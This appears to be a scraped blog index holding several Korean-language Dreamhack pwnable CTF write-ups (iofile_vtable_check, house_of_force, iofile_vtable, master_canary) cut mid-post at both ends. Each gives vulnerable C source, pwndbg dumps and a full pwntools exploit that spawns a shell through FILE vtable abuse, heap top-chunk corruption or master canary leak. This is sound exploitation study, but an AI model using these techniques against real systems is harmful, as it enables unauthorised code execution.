fp)-\u0026gt;_s._allocate_buffer) (new_size); _s._allocate_buffer에 들어있는 함수가 (new_size)를 인자로 하여 실행되는 것을 볼 수 있다. _s._allocate_buffer의 위치는 fp로 부터 +0xe0 부분이다. 바이너리 소스코드를 살펴보면 fp+0xe0 부분이 0이 아니면 exit을 실행한다. 해당 부분에 system 함수가 들어가야 하는데 exit이 실행되어 해당 부분을 오버라이트 하는 방법은 힘들어 보인다.\n구글에서 _IO_FILE vtable check bypass에 대해서 검색해 봤다. 일단 총 두가지 방법이 가능했다. 첫번째는 드림핵 강의에 나왔던 _allocate_buffer를 이용해 system을 콜하는 방법이다. 두번째 방법은 _IO_str_jumps의 _IO_str_finish 함수를 이용하는 방법이다.\n해당 함수의 소스코드를 살펴보자.\nvoid _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp-\u0026gt;_IO_buf_base \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF)) (((_IO_strfile *) fp)-\u0026gt;_s._free_buffer) (fp-\u0026gt;_IO_buf_base); fp-\u0026gt;_IO_buf_base = NULL; _IO_default_finish (fp, 0); } 위 코드를 보면 (((_IO_strfile *) fp)-\u0026gt;_s._free_buffer) (fp-\u0026gt;_IO_buf_base); 구문이 있다 fp의 _IO_buf_base의 값을 인자로 하여 _s._free_buffer에 있는 함수를 실행하게 된다.\n위 코드로 익스플로잇을 작성하려면 조건문을 통과 해야한다. fp-\u0026gt;_IO_buf_base는 공격에 사용할 인자를 셋팅하기 위해 사용되므로 필히 값이 들어있어야 한다. fp-\u0026gt;_IO_buf_base 값과 !(fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF)를 \u0026amp;\u0026amp;연산해 참이면 값을 실행한다. _flag의 경우 0으로 설정했고 \u0026amp; 연산에 의해서 () 내부의 값은 0으로 설정되고 ! 구문을 통해 1로 설정된다. 따라서 별도의 설정 없이 _IO_buf_base에 인자를 넣고 _free_buffer에 system 함수 주소를 넣으면 익스플로잇이 가능할 것이다.\n그럼 _s._free_buffer는 뭘까? ((_IO_strfile *) fp)-\u0026gt;_s._free_buffer 에서 fp는 _IO_strfile 구조로 케스팅 되었고, 변경된 구조에서 _s를 호출했다. _IO_strfile의 구조체는 다음과 같다.\ntypedef struct _IO_strfile_ { struct _IO_streambuf _sbf; struct _IO_str_fields _s; } _IO_strfile; 구조체 안에 _s는 _IO_str_fields로 선언되어 있다. 그럼 이 _IO_str_fields를 살펴보자.\nstruct _IO_str_fields { _IO_alloc_type _allocate_buffer; _IO_free_type _free_buffer; }; 어디서 많이 본 이름이 보인다. 기존 드림핵 강의에서 _IO_str_overflow를 이용한 vtable check bypass 기법을 사용했다. 이때 system 함수가 들어갔던 부분이 _s._allocate_buffer 부분이다.\n우리가 _s._allocate_buffer에 system함수를 오버라이트 할수 없던 이유는 fp의 +0xe0부분이 0인지 검증하는 코드가 있었기 때문이다. 하지만 _IO_str_finish를 이용하게 되면 _allocate_buffer 다음에 있는 _free_buffer 부분에 system 함수 주소가 들어가게 된다. 따라서 0xe0부분엔 0을 그 다음 부분을 system 함수로 준다.\n이제 필요한 부분은 다 찾았고 fake vtable을 어떻게 구성할지 고민해 봐야한다.\n일단 fake vtable을 통해서 _IO_str_jumps의 IO_str_finish 함수를 실행시켜야 한다. 한가지 다행인 점은 _IO_str_jumps 구조체와 _IO_file_jumps 구조체는 동일하다. 이는 오프셋이 동일한 것을 의미한다. 그리고 _IO_str_jumps 구조체의 위치는 _IO_file_jumps에서 +0xc0에 있다. _IO_str_jumps구조체가 gdb에 찍히지 않아 찾아보니 _IO_file_jumps에서 +0xc0 해주면 된다고 한다.\npwndbg\u0026gt; p \u0026amp;_IO_file_jumps $11 = (\u0026lt;data variable, no debug info\u0026gt; *) 0x7ff0129e82a0 \u0026lt;_IO_file_jumps\u0026gt; pwndbg\u0026gt; x/32gx 0x7ff0129e82a0 0x7ff0129e82a0 \u0026lt;_IO_file_jumps\u0026gt;: 0x0000000000000000 0x0000000000000000 0x7ff0129e82b0 \u0026lt;_IO_file_jumps+16\u0026gt;: 0x00007ff01268c330 0x00007ff01268d300 0x7ff0129e82c0 \u0026lt;_IO_file_jumps+32\u0026gt;: 0x00007ff01268d020 0x00007ff01268e3c0 0x7ff0129e82d0 \u0026lt;_IO_file_jumps+48\u0026gt;: 0x00007ff01268fc50 0x00007ff01268b930 0x7ff0129e82e0 \u0026lt;_IO_file_jumps+64\u0026gt;: 0x00007ff01268b590 0x00007ff01268ab90 0x7ff0129e82f0 \u0026lt;_IO_file_jumps+80\u0026gt;: 0x00007ff01268e990 0x00007ff01268a850 0x7ff0129e8300 \u0026lt;_IO_file_jumps+96\u0026gt;: 0x00007ff01268a6d0 0x00007ff01267e100 0x7ff0129e8310 \u0026lt;_IO_file_jumps+112\u0026gt;: 0x00007ff01268b910 0x00007ff01268b190 0x7ff0129e8320 \u0026lt;_IO_file_jumps+128\u0026gt;: 0x00007ff01268a910 0x00007ff01268a840 0x7ff0129e8330 \u0026lt;_IO_file_jumps+144\u0026gt;: 0x00007ff01268b180 0x00007ff01268fdd0 0x7ff0129e8340 \u0026lt;_IO_file_jumps+160\u0026gt;: 0x00007ff01268fde0 0x0000000000000000 pwndbg\u0026gt; x/32gx 0x7ff0129e82a0+0xc0 0x7ff0129e8360: 0x0000000000000000 0x0000000000000000 0x7ff0129e8370: 0x00007ff012690300 0x00007ff01268ff60 0x7ff0129e8380: 0x00007ff01268ff00 0x00007ff01268e3c0 0x7ff0129e8390: 0x00007ff0126902e0 0x00007ff01268e420 0x7ff0129e83a0: 0x00007ff01268e5d0 0x00007ff012690430 0x7ff0129e83b0: 0x00007ff01268e990 0x00007ff01268e860 0x7ff0129e83c0: 0x00007ff01268ec50 0x00007ff01268ea00 0x7ff0129e83d0: 0x00007ff01268fdb0 0x00007ff01268fdc0 0x7ff0129e83e0: 0x00007ff01268fd90 0x00007ff01268ec50 0x7ff0129e83f0: 0x00007ff01268fda0 0x00007ff01268fdd0 0x7ff0129e8400: 0x00007ff01268fde0 0x0000000000000000 gdb 상에서는 심볼이 없지만 앞에 16바이트 더미 값이 있고 그 뒤 형식이 동일한 것을 볼 수있다. fclose() 함수를 통해 _IO_str_finish를 실행 시켜야 하므로 _IO_file_jumps에서 +0xc0를 더한 값을 fake vtable로 주었다.\n이를 통해 페이로드를 구성하면 다음과 같다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 10039); p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #p = process(\u0026#34;./master_canary\u0026#34;) elf = ELF(\u0026#34;./iofile_vtable_check\u0026#34;) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) p.recvuntil(b\u0026#34;stdout: \u0026#34;) stdout = int(p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1], 16) libc_base = stdout-libc.sym[\u0026#39;_IO_2_1_stdout_\u0026#39;] system = libc_base+libc.sym[\u0026#39;system\u0026#39;] fp = elf.sym[\u0026#39;fp\u0026#39;] binsh = libc_base+list(libc.search(b\u0026#34;/bin/sh\u0026#34;))[0] fake_vtable = libc_base + libc.sym[\u0026#39;_IO_file_jumps\u0026#39;]+0xc0 print(f\u0026#34;stdout : {hex(stdout)}\u0026#34;) print(f\u0026#34;libc_base : {hex(libc_base)}\u0026#34;) print(f\u0026#34;system : {hex(system)}\u0026#34;) print(f\u0026#34;fp : {hex(fp)}\u0026#34;) print(f\u0026#34;binsh : {hex(binsh)}\u0026#34;) print(f\u0026#34;fake vtable : {hex(fake_vtable)}\u0026#34;) pause() payload = p64(0x0) # flags payload += p64(0x0) # _IO_read_ptr payload += p64(0x0) # _IO_read_end payload += p64(0x0) # _IO_read_base payload += p64(0x0) # _IO_write_base payload += p64(0) # _IO_write_ptr payload += p64(0x0) # _IO_write_end payload += p64(binsh) # _IO_buf_base payload += p64(0) # _IO_buf_end payload += p64(0x0) # _IO_save_base payload += p64(0x0) # _IO_backup_base payload += p64(0x0) # _IO_save_end payload += p64(0x0) # _IO_marker payload += p64(0x0) # _IO_chain payload += p64(0x0) # _fileno payload += p64(0x0) # _old_offset payload += p64(0x0) payload += p64(fp + 0x80) # _lock payload += p64(0x0)*9 payload += p64(fake_vtable) # io_file_jump overwrite payload += p64(0) payload += p64(system) p.sendlineafter(b\u0026#34;Data: \u0026#34;, payload) p.interactive() ","permalink":"https://dig06161.github.io/2023/03/15/dreamhack-iofile_vtable_check/","summary":"드림핵 포너블 iofile_vtable_check 문제풀이","title":"[Dreamhack] PWN iofile_vtable_check"},{"content":"이번 문제는 house_of_force 취약점에 대한 문제이다. 이 기법은 top chunk의 사이즈를 조작하여 임의 주소에 힙 청크를 할당 할 수 있는 공격이다.\n우선 바이너리 소스코드를 먼저 살펴보자.\n// gcc -o force force.c -m32 -mpreferred-stack-boundary=2 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;string.h\u0026gt; int *ptr[10]; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } int create(int cnt) { int size; if( cnt \u0026gt; 10 ) { return 0; } printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;size); ptr[cnt] = malloc(size); if(!ptr[cnt]) { return -1; } printf(\u0026#34;Data: \u0026#34;); read(0, ptr[cnt], size); printf(\u0026#34;%p: %s\\n\u0026#34;, ptr[cnt], ptr[cnt]); return 0; } int write_ptr() { int idx; int w_idx; unsigned int value; printf(\u0026#34;ptr idx: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); if(idx \u0026gt; 10 || idx \u0026lt; 0) { return -1; } printf(\u0026#34;write idx: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;w_idx); if(w_idx \u0026gt; 100 || w_idx \u0026lt; 0) { return -1; } printf(\u0026#34;value: \u0026#34;); scanf(\u0026#34;%u\u0026#34;, \u0026amp;value); ptr[idx][w_idx] = value; return 0; } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } int main() { int idx; int cnt = 0; int w_cnt = 0; initialize(); while(1) { printf(\u0026#34;1. Create\\n\u0026#34;); printf(\u0026#34;2. Write\\n\u0026#34;); printf(\u0026#34;3. Exit\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); switch(idx) { case 1: create(cnt++); cnt++; break; case 2: if(w_cnt) { return -1; } write_ptr(); w_cnt++; break; case 3: exit(0); default: break; } } return 0; } 시나리오를 생각해보자.\n우선 top chunk 주소를 알아낼 필요가 있다. 따라서 1번 메뉴를 통해 특정 사이즈 만큼의 청크를 생성하고 출력되는 주소값과 top chunk의 오프셋을 계산해 top chunk주소를 구한다.\n이후 2번 메뉴를 통해 top chunk 크기를 0xffffffff로 덮어버린다. 배열 사이즈를 검증하지 않으므로 원하는 지점에 값을 덮을 수 있다. 그러면 탑 청크 크기만큼 청크를 할당 할 수 있으므로 원하는 주소의 값을 오버라이트 할 수 있다.\n나는 malloc 함수 주소에 get_shell 함수 주소를 입력 하려고 한다. malloc got 주소에서 top chunk주소를 빼고 0x8를 뻰 값으로 페이로드를 구성한다. 0x8을 빼는 이유는 heap chunk가 구성될때 32비트 기준 8바이트를 헤더로 사용하기 때문에 오버라이트 하고자 하는 부분이 heap의 데이터 영역이 되게 하기 위함이다.\n이후에 할당되는 부분은 malloc got의 주소에 값이 할당 될 것이며, 여기에는 get_shell 주소가 들어갈 것이다.\n이후 malloc을 호출하면 쉘을 획득할 수 있다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; #p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 24517); #p = process(\u0026#34;./oneshot\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) p = process(\u0026#34;./house_of_force\u0026#34;) elf = ELF(\u0026#34;./house_of_force\u0026#34;) #elf=ELF(\u0026#39;./iofile_aw\u0026#39;) get_shell = 0x0804887e p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, b\u0026#34;17\u0026#34;) p.sendlineafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;AAAA\u0026#34;*4) leak_chunk = int(p.recvuntil(b\u0026#34;AAAA\u0026#34;)[:-6], 16) top_chunk = leak_chunk+20 print(f\u0026#34;leak chunk : {hex(leak_chunk)}\u0026#34;) print(f\u0026#34;top chunk size ptr : {hex(top_chunk)}\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;ptr idx: \u0026#34;, b\u0026#34;0\u0026#34;) p.sendlineafter(b\u0026#34;write idx: \u0026#34;, b\u0026#34;5\u0026#34;) p.sendlineafter(b\u0026#34;value: \u0026#34;, str(int(0xffffffff))) target = elf.got[\u0026#39;malloc\u0026#39;] payload = target-0x8-top_chunk print(f\u0026#34;print - payload : {hex(payload)}\u0026#34;) print(\u0026#34;print - \u0026#34;+(\u0026#34;A\u0026#34;*payload)) #pause() p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(payload)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;A\u0026#34;*payload) pause() print(f\u0026#34;send payload success\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, b\u0026#34;4\u0026#34;) p.sendlineafter(b\u0026#34;Data: \u0026#34;, p32(get_shell)) print(f\u0026#34;send shell ptr success\u0026#34;) p.sendlineafter(\u0026#34;\u0026gt; \u0026#34;, \u0026#39;1\u0026#39;) p.sendlineafter(\u0026#34;Size: \u0026#34;, str(0x10)) p.interactive() ","permalink":"https://dig06161.github.io/2023/03/13/dreamhack-pwn-house_of_force/","summary":"드림핵 포너블 house_of_force 문제풀이","title":"[Dreamhack] PWN house_of_force"},{"content":"이번 문제는 iofile의 vtable에 관한 문제이다. 문제 환경을 보면 ubuntu:16.04로 iofile vtable check 함수는 걱정하지 않아도 될듯 하다.\n우선 바이너리 코드를 살펴보자.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; char name[8]; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } int main(int argc, char *argv[]) { int idx = 0; int sel; initialize(); printf(\u0026#34;what is your name: \u0026#34;); read(0, name, 8); while(1) { printf(\u0026#34;1. print\\n\u0026#34;); printf(\u0026#34;2. error\\n\u0026#34;); printf(\u0026#34;3. read\\n\u0026#34;); printf(\u0026#34;4. chance\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;sel); switch(sel) { case 1: printf(\u0026#34;GOOD\\n\u0026#34;); break; case 2: fprintf(stderr, \u0026#34;ERROR\\n\u0026#34;); break; case 3: fgetc(stdin); break; case 4: printf(\u0026#34;change: \u0026#34;); read(0, stderr + 1, 8); break; default: break; } } return 0; } 우선 중점을 봐야할 부분은 두 부분 같다. 먼저 what is your name이라는 문구와 함께 read함수를 통해서 값을 8 만큼 입력 받는 다 이후 4번 항목을 통해서 stderr+1 지점에 8만큼 값을 쓸 수 있다.\n우선 stderr+1에 무엇이 있는지 gdb를 통해서 봐야 할 것 같다. gdb를 통해 살펴본 어셈블리는 다음과 같다.\n0x400a66 \u0026lt;main+267\u0026gt; mov rax, qword ptr [rip + 0x200653] \u0026lt;stderr@@GLIBC_2.2.5\u0026gt; 0x400a6d \u0026lt;main+274\u0026gt; add rax, 0xd8 0x400a73 \u0026lt;main+280\u0026gt; mov edx, 8 ► 0x400a78 \u0026lt;main+285\u0026gt; mov rsi, rax \u0026lt;_IO_2_1_stderr_+216\u0026gt; 0x400a7b \u0026lt;main+288\u0026gt; mov edi, 0 0x400a80 \u0026lt;main+293\u0026gt; call read@plt \u0026lt;read@plt\u0026gt; stderr에서 0xd8만큼 더한 값을 read함수의 파라미터로 사용하고 있다 0xd8은 어딘가 익숙한 값이다. 이 부분을 확인해보자.\npwndbg\u0026gt; x/gx 0x7ffff7dd2618 0x7ffff7dd2618 \u0026lt;_IO_2_1_stderr_+216\u0026gt;: 0x00007ffff7dd06e0 pwndbg\u0026gt; x/32gx 0x00007ffff7dd06e0 0x7ffff7dd06e0 \u0026lt;_IO_file_jumps\u0026gt;: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06f0 \u0026lt;_IO_file_jumps+16\u0026gt;: 0x00007ffff7a869d0 0x00007ffff7a87740 0x7ffff7dd0700 \u0026lt;_IO_file_jumps+32\u0026gt;: 0x00007ffff7a874b0 0x00007ffff7a88610 0x7ffff7dd0710 \u0026lt;_IO_file_jumps+48\u0026gt;: 0x00007ffff7a89990 0x00007ffff7a861f0 0x7ffff7dd0720 \u0026lt;_IO_file_jumps+64\u0026gt;: 0x00007ffff7a85ed0 0x00007ffff7a854d0 0x7ffff7dd0730 \u0026lt;_IO_file_jumps+80\u0026gt;: 0x00007ffff7a88a10 0x00007ffff7a85440 0x7ffff7dd0740 \u0026lt;_IO_file_jumps+96\u0026gt;: 0x00007ffff7a85380 0x00007ffff7a7a190 0x7ffff7dd0750 \u0026lt;_IO_file_jumps+112\u0026gt;: 0x00007ffff7a861b0 0x00007ffff7a85b80 0x7ffff7dd0760 \u0026lt;_IO_file_jumps+128\u0026gt;: 0x00007ffff7a85980 0x00007ffff7a85350 0x7ffff7dd0770 \u0026lt;_IO_file_jumps+144\u0026gt;: 0x00007ffff7a85b70 0x00007ffff7a89b00 0x7ffff7dd0780 \u0026lt;_IO_file_jumps+160\u0026gt;: 0x00007ffff7a89b10 0x0000000000000000 0x7ffff7dd0790: 0x0000000000000000 0x0000000000000000 0x7ffff7dd07a0 \u0026lt;_IO_str_jumps\u0026gt;: 0x0000000000000000 0x0000000000000000 0x7ffff7dd07b0 \u0026lt;_IO_str_jumps+16\u0026gt;: 0x00007ffff7a89fb0 0x00007ffff7a89c90 0x7ffff7dd07c0 \u0026lt;_IO_str_jumps+32\u0026gt;: 0x00007ffff7a89c30 0x00007ffff7a88610 0x7ffff7dd07d0 \u0026lt;_IO_str_jumps+48\u0026gt;: 0x00007ffff7a89f90 0x00007ffff7a88640 pwndbg\u0026gt; p _IO_file_jumps $5 = { __dummy = 0, __dummy2 = 0, __finish = 0x7ffff7a869d0 \u0026lt;_IO_new_file_finish\u0026gt;, __overflow = 0x7ffff7a87740 \u0026lt;_IO_new_file_overflow\u0026gt;, __underflow = 0x7ffff7a874b0 \u0026lt;_IO_new_file_underflow\u0026gt;, __uflow = 0x7ffff7a88610 \u0026lt;__GI__IO_default_uflow\u0026gt;, __pbackfail = 0x7ffff7a89990 \u0026lt;__GI__IO_default_pbackfail\u0026gt;, __xsputn = 0x7ffff7a861f0 \u0026lt;_IO_new_file_xsputn\u0026gt;, __xsgetn = 0x7ffff7a85ed0 \u0026lt;__GI__IO_file_xsgetn\u0026gt;, __seekoff = 0x7ffff7a854d0 \u0026lt;_IO_new_file_seekoff\u0026gt;, __seekpos = 0x7ffff7a88a10 \u0026lt;_IO_default_seekpos\u0026gt;, __setbuf = 0x7ffff7a85440 \u0026lt;_IO_new_file_setbuf\u0026gt;, __sync = 0x7ffff7a85380 \u0026lt;_IO_new_file_sync\u0026gt;, __doallocate = 0x7ffff7a7a190 \u0026lt;__GI__IO_file_doallocate\u0026gt;, __read = 0x7ffff7a861b0 \u0026lt;__GI__IO_file_read\u0026gt;, __write = 0x7ffff7a85b80 \u0026lt;_IO_new_file_write\u0026gt;, __seek = 0x7ffff7a85980 \u0026lt;__GI__IO_file_seek\u0026gt;, __close = 0x7ffff7a85350 \u0026lt;__GI__IO_file_close\u0026gt;, __stat = 0x7ffff7a85b70 \u0026lt;__GI__IO_file_stat\u0026gt;, __showmanyc = 0x7ffff7a89b00 \u0026lt;_IO_default_showmanyc\u0026gt;, __imbue = 0x7ffff7a89b10 \u0026lt;_IO_default_imbue\u0026gt; } 확인한 결과 _IO_file_jumps vtable인 것을 볼수 있다. read(0, stderr + 1, 8); 구문을 통해서 가짜 vtable 주소를 넣어 원하는 함수를 실행 시킬 수 있을 것 같다.\ncase 2:의 fprintf()함수는 호출되면 _IO_file_jumps의 0x38 offset에 있는 __xsputn의 주소를 호출한다. 따라서 우리는 name 변수에 get_shell() 함수 주소를, case 4의 read 함수에서 name 변수 주소 -0x38을 입력하면 익스플로잇이 가능 할 것이다.\n다음은 위 내용을 바탕으로 작성한 익스플로잇 코드이다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 10623); #p = process(\u0026#34;./rop\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc-2.27.so\u0026#39;}) #p = process(\u0026#34;./iofile_vtable\u0026#34;) elf = ELF(\u0026#34;./iofile_vtable\u0026#34;) #libc = ELF(\u0026#34;./libc-2.27.so\u0026#34;) get_shell = 0x40094a fake__xsputn = 0x6010d0-0x38 p.sendlineafter(b\u0026#34;what is your name: \u0026#34;, p64(get_shell)) pause() p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;4\u0026#34;) p.sendlineafter(b\u0026#34;change: \u0026#34;, p64(fake__xsputn)) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) p.interactive() ","permalink":"https://dig06161.github.io/2023/03/13/dreamhack-pwn-iofile_vtable/","summary":"드림핵 포너블 iofile_vtable 문제풀이","title":"[Dreamhack] PWN iofile_vtable"},{"content":"이번 문제는 드림핵 master_canary 문제다. 문제 제목 그대로 master canary를 릭해서 푸는 문제이다.\n문제 환경으 ubuntu16:04 버전을 사용한다. 우선 해당 문제의 소스코드를 살펴보자.\n// gcc -o master master.c -pthread #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; char *global_buffer; void alarm_handler() { puts(\u0026#34;TIME OUT\u0026#34;); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { system(\u0026#34;/bin/sh\u0026#34;); } void *thread_routine() { char buf[256]; global_buffer = buf; } void read_bytes(char *buf, size_t size) { size_t sz = 0; size_t idx = 0; size_t tmp; while (sz \u0026lt; size) { tmp = read(0, \u0026amp;buf[idx], 1); if (tmp != 1) { exit(-1); } idx += 1; sz += 1; } return; } int main(int argc, char *argv[]) { size_t size; pthread_t thread_t; size_t idx; char leave_comment[32]; initialize(); while(1) { printf(\u0026#34;1. Create thread\\n\u0026#34;); printf(\u0026#34;2. Input\\n\u0026#34;); printf(\u0026#34;3. Exit\\n\u0026#34;); printf(\u0026#34;\u0026gt; \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;idx); switch(idx) { case 1: if (pthread_create(\u0026amp;thread_t, NULL, thread_routine, NULL) \u0026lt; 0) { perror(\u0026#34;thread create error\u0026#34;); exit(0); } break; case 2: printf(\u0026#34;Size: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;size); printf(\u0026#34;Data: \u0026#34;); read_bytes(global_buffer, size); printf(\u0026#34;Data: %s\u0026#34;, global_buffer); break; case 3: printf(\u0026#34;Leave comment: \u0026#34;); read(0, leave_comment, 1024); return 0; default: printf(\u0026#34;Nope\\n\u0026#34;); break; } } return 0; } 위 코드에서 유심히 봐야 할 부분은 case 1: 부분의 pthread_create 함수이다. thread_routine 함수에서는 size에 대한 검증이 없어 버퍼 오버플로우가 발생한다. 또한 스레드 함수인 thread_routine은 TLS와 인접하게 생성되므로 오버플로우를 통해서 TLS에 있는 마스터 카나리 값을 릭 할수 있는 취약점이 존재한다.\n공격 시나리오를 생각해보자\n우선 1번 메뉴를 통해 스레드를 생성한다. 여기서 thread_routine 함수의 size 미 검증으로 인한 버퍼 오버플로우 취약점이 발생한다. 함수 내부에서 사용되는 buf변후는 전역 변수인 global_buffer 포인터에 대입된다.\n이후 2번 메뉴를 통해서 원하는 크기만큼 global_buffer에 값을 쓴다. 여기서 global_buffer는 스레드 함수에서 사용되어 TLS와 인접하게 생성된다. 따라서 buf에서 master canary까지의 거리를 구해 카나리 값 직전까지 덮으면 master canary의 값을 leak 할수 있다.\n그 다음 3번 메뉴를 통해서 스텍 오버플로우를 일으킨다. 이때 2번 메뉴를 통해 leak한 canary를 사용해 리턴 주소를 get_shell() 로 바꾼다.\n이 정도면 공격에 성공할 것 같다. 디버깅 하면서 하나씩 살펴보자.\ngdb를 통해 확인 해 보면 thread_retine에서의 buf 값은 다음과 같다.\n0x400a75 \u0026lt;thread_routine+26\u0026gt; lea rax, [rbp - 0x110] \u0026lt;RAX 0x7ffff77eee40\u0026gt; 이후 마스터 카나리의 위치를 계산하고 둘의 차를 구한다.\npwndbg\u0026gt; x/x $fs_base+0x28 0x7ffff77ef728: 0x4ba9d200 pwndbg\u0026gt; x/x 0x7ffff77ef728-0x7ffff77eee40 0x8e8: Cannot access memory at address 0x8e8 둘의 차는 0x8e8이다. 다만 카나리 값이 하위 1바이트는 00이기 때문에 이 또한 오버라이트 해야지 printf가 00을 만나지 않고 카나리 값을 전부 leak 할 수 있다.\n따라서 2번 메뉴를 통해 0x8e8+1 만큼의 size를 주고 A를 0x8e8+1개 입력해 릭 한다.\n이후 main 함수에서 다음과 같은 부분을 살펴보자.\n0x400c39 \u0026lt;main+308\u0026gt;: lea rax,[rbp-0x30] 이 부분은 3번 메뉴를 통해 값을 입력 받는 leave_comment 변수의 크기이다 0x30의 크기를 가지고 있으나 1024만큼 입력이 가능해 오버플로우가 발생한다.\n따라서 A(40) + canary + B(8) + get_shell() 을 페이로드로 입력하면 공격에 성공한다.\nfrom pwn import * context.update(arch=\u0026#39;amd64\u0026#39;, os=\u0026#39;linux\u0026#39;) #context.log_level = \u0026#39;debug\u0026#39; p = remote(\u0026#34;host3.dreamhack.games\u0026#34;, 10039); #p = process(\u0026#34;./iofile_vtable_check\u0026#34;, env={\u0026#39;LD_PRELOAD\u0026#39;:\u0026#39;./libc.so.6\u0026#39;}) #p = process(\u0026#34;./master_canary\u0026#34;) elf = ELF(\u0026#34;./master_canary\u0026#34;) #libc = ELF(\u0026#34;./libc.so.6\u0026#34;) master_to_buf = 0x8e9 get_shell = 0x400a4a p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;2\u0026#34;) p.sendlineafter(b\u0026#34;Size: \u0026#34;, str(master_to_buf)) p.sendlineafter(b\u0026#34;Data: \u0026#34;, b\u0026#34;A\u0026#34;*master_to_buf) p.recvuntil(b\u0026#34;A\u0026#34;*master_to_buf) canary = u64(b\u0026#34;\\x00\u0026#34;+p.recvn(7)) print(f\u0026#34;canary : {hex(canary)}\u0026#34;) p.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;3\u0026#34;) payload = b\u0026#34;A\u0026#34;*40 payload += p64(canary) payload += b\u0026#34;B\u0026#34;*8 payload += p64(get_shell) p.sendlineafter(\u0026#39;Leave comment: \u0026#39;, payload) p.interactive() ","permalink":"https://dig06161.github.io/2023/03/12/dreamhack-pwn-master_canary/","summary":"드림핵 포너블 master_canary 문제풀이","title":"[Dreamhack] PWN master_canary"},{"content":"오랜만에 풀어보는 ROP 문제다. 다만 기존에 풀었던 64비트 ROP에 canary가 첨가되어 있다. 압축 파일을 풀어보면 libc와 코드, 바이너리, 도커 파일이 들어있다. 도커파일 이미지를 다운받아 확인해 보니 ubuntu bionic으로 18.04 버전을 사용하고 있다.\n해당 문제 소스코드는 다음과 같다.\n// Name: rop.c // Compile: gcc -o rop rop.c -fno-PIE -no-pie #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Leak canary puts(\u0026#34;[1] Leak Canary\u0026#34;); printf(\u0026#34;Buf: \u0026#34;); read(0, buf, 0x100); printf(\u0026#34;Buf: %s\\n\u0026#34;, buf); // Do ROP puts(\u0026#34;[2] Input ROP payload\u0026#34;); printf(\u0026#34;Buf: \u0026#34;); read(0, buf, 0x100); return 0; } 코드는 매우 간단하다. [1] 섹션에서 카나리 값을 릭 하고 [2]에서 